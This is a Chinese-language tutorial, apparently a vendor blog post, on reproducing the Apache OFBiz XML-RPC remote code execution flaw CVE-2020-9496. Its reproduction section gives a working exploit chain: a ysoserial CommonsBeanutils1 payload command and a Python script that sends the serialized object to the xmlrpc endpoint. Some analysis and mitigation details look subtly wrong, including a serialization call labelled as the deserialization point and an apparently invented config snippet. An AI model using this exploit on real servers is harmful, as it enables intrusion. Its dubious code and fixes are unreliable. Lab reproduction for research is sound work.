溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣實現Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的復現

發布時間:2021-12-29 15:49:47 來源:億速云 閱讀:218 作者:柒染 欄目:安全技術
# 怎樣實現Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的復現

## 前言

Apache OFBiz(Open For Business)是一個開源的企業資源規劃(ERP)系統,提供了一套完整的企業級應用框架。2020年曝光的CVE-2020-9496漏洞影響了Apache OFBiz的XML-RPC組件,攻擊者可通過構造惡意請求實現遠程代碼執行(RCE)。本文將詳細分析該漏洞原理,并提供完整的復現過程。

---

## 一、漏洞概述

### 1.1 漏洞基本信息
- **漏洞編號**:CVE-2020-9496  
- **漏洞類型**:反序列化漏洞 → 遠程代碼執行  
- **影響版本**:Apache OFBiz < 17.12.06  
- **CVSS評分**:9.8(Critical)  
- **漏洞組件**:`org.apache.ofbiz.service.xmlrpc.XmlRpcClient`  

### 1.2 漏洞原理
漏洞源于OFBiz的XML-RPC服務在處理請求時未對輸入數據進行嚴格的反序列化安全檢查。攻擊者可通過構造包含惡意序列化數據的XML-RPC請求,觸發服務器端Java反序列化鏈,最終實現任意代碼執行。

---

## 二、環境搭建

### 2.1 實驗環境要求
- **靶機環境**:
  - 操作系統:Ubuntu 20.04 LTS  
  - 軟件版本:Apache OFBiz 17.12.05(漏洞版本)  
  - Java環境:OpenJDK 8  
- **攻擊機環境**:
  - Kali Linux 2023  
  - Python 3 + 相關漏洞利用工具  

### 2.2 靶機部署步驟
1. 下載漏洞版本OFBiz:
   ```bash
   wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.05.zip
   unzip apache-ofbiz-17.12.05.zip
   cd apache-ofbiz-17.12.05
  1. 初始化數據庫并啟動服務:
    
    ./gradlew cleanAll loadAll ofbiz
    
    • 服務默認監聽端口:8443(HTTPS)

三、漏洞復現

3.1 漏洞驗證

通過發送惡意XML-RPC請求驗證服務是否可解析序列化數據:

import requests
import xmlrpc.client

target = "https://192.168.1.100:8443/webtools/control/xmlrpc"
proxy = xmlrpc.client.ServerProxy(target, verbose=True)

# 嘗試調用系統方法
try:
    print(proxy.system.listMethods())
except Exception as e:
    print(f"Error: {e}")

若返回java.io.Serializable相關錯誤,說明存在反序列化點。

3.2 利用ysoserial生成Payload

使用ysoserial工具生成CommonsBeanutils1鏈的Payload:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/poc_success" > payload.ser

3.3 構造惡意請求

通過Python發送包含序列化數據的XML-RPC請求:

import requests
import base64

url = "https://192.168.1.100:8443/webtools/control/xmlrpc"
headers = {"Content-Type": "application/xml"}

with open("payload.ser", "rb") as f:
    payload = base64.b64encode(f.read()).decode()

xml_data = f"""<?xml version="1.0"?>
<methodCall>
    <methodName>ProjectDiscovery</methodName>
    <params>
        <param>
            <value>
                <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{payload}</serializable>
            </value>
        </param>
    </params>
</methodCall>"""

response = requests.post(url, data=xml_data, headers=headers, verify=False)
print(response.text)

3.4 驗證RCE執行結果

登錄靶機檢查命令是否執行:

ls -la /tmp/poc_success

四、漏洞分析

4.1 關鍵代碼定位

漏洞位于XmlRpcClient.java的處理邏輯中:

public Object execute(String methodName, Object[] params) {
    // ...
    if (params[i] instanceof Serializable) {
        serializer.writeObject(params[i]); // 危險的反序列化點
    }
}

4.2 反序列化鏈觸發路徑

  1. 攻擊者通過XML-RPC發送包含Serializable對象的請求
  2. 服務端使用ObjectInputStream解析數據
  3. CommonsBeanutils鏈中的PropertyUtils.getProperty()被觸發
  4. 通過反射機制執行任意Java代碼

五、防御措施

5.1 官方修復方案

  • 升級至OFBiz 17.12.06+
  • 補丁修改點:禁用XML-RPC的序列化功能

5.2 臨時緩解方案

<!-- 在ofbiz-component.xml中禁用XML-RPC -->
<service-group name="webtools">
    <service name="xmlrpc" mode="disabled"/>
</service-group>

六、思考與總結

  1. 漏洞利用限制

    • 需要webtools組件暴露在外網
    • 依賴服務器JDK中存在的gadget鏈
  2. 滲透測試建議

    graph LR
    A[端口掃描] --> B[識別OFBiz版本]
    B --> C{版本<17.12.06?}
    C -->|Yes| D[嘗試XML-RPC請求]
    C -->|No| E[放棄]
    
  3. 延伸學習

    • 其他Java反序列化漏洞(如CVE-2015-4852)
    • XML-RPC協議的安全風險

附錄

參考資源

免責聲明

本文僅用于安全研究學習,未經授權不得對真實系統進行測試。 “`

注:實際復現時需注意: 1. 替換示例中的IP地址為實際靶機地址 2. 根據目標環境調整Payload(如命令注入方式) 3. 建議在隔離環境測試

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女